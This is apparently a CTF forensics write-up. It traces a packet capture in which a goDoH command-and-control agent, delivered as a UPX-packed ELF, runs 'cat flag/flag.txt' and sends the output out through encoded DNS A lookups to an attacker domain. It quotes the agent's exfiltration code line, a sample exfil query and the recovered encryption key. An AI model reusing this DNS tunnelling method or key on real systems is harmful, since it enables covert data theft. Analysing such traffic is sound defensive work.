steal (forensics)

Someone steal my flag, can you retrieve it? All I have is this packet capture

hackersteal.pcap

extract godoh binary

Opening the pcap file in Wireshark, this is what happens at the start of the packet capture.

ss1

Follow the TCP stream, and this is what happens

ss2

Interestingly, there is ELF in the HTTP response. There is an ELF binary being transferred in the network, so I saved the raw data in this stream, removed the HTTP request and response headers, and this is what I get.

▶ file sent
sent: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped

▶ strings sent | head
UPX!8
33"O
N.6l/
6t$v
_.6T
AN a
W9wbd-pCIfbaeiekR_3/HoX01fIzUfJ
wEXHR653z/0vTjkfUiCSJA3WKlQ2-(
[EbmU8eqLlipLAPOhaul
nux-x86-

There is UPX in the binary, suggesting that it is packed by UPX. So the next step is to unpack it with UPX, so that it can be properly analyzed later.

When trying to execute the binary with an argument, the help message is very helpful as it tells us the original name of the program, which is godoh. Now it is very convenient as we have the source to refer to.

▶ ./sent
INFO[0000] Using `google` as preferred provider
FATA[0000] A DNS domain to use is required.

▶ ./sent aa
Error: unknown command "aa" for "godoh"

Did you mean this?
    c2

Run 'godoh --help' for usage.
unknown command "aa" for "godoh"

Did you mean this?
    c2

doDoH is a command and control (C2) framework using DNS. This means the server and the agent on the infected machine communicate with each other using the DNS protocol. This is why there are so many DNS streams after the TCP stream.

ss3

The conversation between the server and the agent is present in the DNS requests and responses, but encrypted. So the challenge now is to find how to decrypt the messages.

decrypt commands

This blog post by sensepost describes how goDoH works. In short, the server will send a command encrypted in a DNS response to an agent, then the agent will reply to the server using a DNS request. (Yes response and request are flipped because the C2 server acts as a DNS server)

cmd/agent.go#L62-L101 contains the code for the agent to decode the command sent by the server.

In summary, the program checks if the DNS request contains protocol.CmdTxtResponse, and if so, treats this as a command from the server, and decrypts/decodes it using utils.UngobUnpress.

From protocol/constants.go,

...

// TXT record default responses
var (
    NoCmdTxtResponse = []string{
        "v=B2B3FE1C",
    }
    ErrorTxtResponse = []string{
        "v=D31CFAA4",
    }
    CmdTxtResponse = []string{
        "v=A9F466E8",
    }
)

...

This can be seen in the following DNS packet, where v is a constant to tell what type of response this is, and p contains the encrypted command.

ss4

The functions for decryption can be found in utils/utils.go, so I copied the relevant functions to implement the decryption routine myself, while there is a key in utils/key.go too.

However, this does not work yet, because the key was changed for this challenge. The next step is to find the key from the binary. Since we know that the key is a 32 character hex-encoded string, we can just search for strings that match the regex [0-9a-f]{32}.

But just doing grep is not good enough, because there are still many strings in the binary that satisfy this requirement. So, I built my own version of goDoH, with a key that stands out, e.g. cafebabedeadbeef. Then when I grep for strings that matched the regex, I can compare between the challenge version and my own version to determine which strings are common in both binaries.

After some searching, I found these parts

> ca-bundle.crt0123456789ABCDEFGHIJKLMNOPQRSTUV284217094304040074348449707031258a40cdd5c4608b251b2c5926270540dc: day-of-year does not match dayA DNS domain to use is required.ABCDEFGHIJKLMNOPQRSTUVWXYZ234567DNS provider `%s` is not valid.
< ca-bundle.crt0123456789ABCDEFGHIJKLMNOPQRSTUV28421709430404007434844970703125: day-of-year does not match dayA DNS domain to use is required.ABCDEFGHIJKLMNOPQRSTUVWXYZ234567DNS provider `%s` is not valid.

> UnreadRunebufio: tried to fill full buffercafebabeb00bbeefdeadbeefcafeb00bcannot represent time as UTCTimechacha20
< UnreadRunebufio: tried to fill full buffercannot represent time as UTCTimechacha20

The keys are in different locations of the binary but quite close to each other, and from the difference, I can deduce that 8a40cdd5c4608b251b2c5926270540dc is likely the key used by the challenge. Gave it a try and it works.

go version go1.13 linux/amd64
▶ go build
▶ ./main
cat flag/flag.txt

decrypt output

Now I know the commands, I know I need to look at the packets after cat flag/flag.txt as they will contain the output of this command.

From executeCommand in cmd/agent.go#L113-L150, the command output is sent back to the server through a DNSLookup of type A.

response := dnsclient.Lookup(dnsProvider, fmt.Sprintf("%s.%s", r, dnsDomain), dns.TypeA)

And the code responsible for decoding this can be found in dnsserver/server.go#L44-L209 with references to functions from utils/utils.go.

In summary, the output will be contained in a series of DNS type A lookups of the form id.prefix.xx.xx.xx.len.data1.data2.data3.dooh.aymind.com, where

  • id is the id given for this command
  • prefix can be be denoting the start of the stream, ef denoting data, and ca denoting the end
  • data1, data2 and data3 are present depending on the value of len

For example,

8bf1.ef.1.17779212.1.3<1f8b08000000000002ff00af0050ff044f1a467dab6b9371a8cbd55cce22<3a2573f4144345f8a1d43d7db33258a794d5da83bfabbe5ac3ab36f9c2b9<b034091202a6dc5dd67f0d42cc641c379f89de12a56214b519d468347eea.dooh.aymjnd.com`

Not sure why are there < characters but it turns out they behave the same as ..

Finally, just reimplement the decryption function as done in goDoH to get the flag.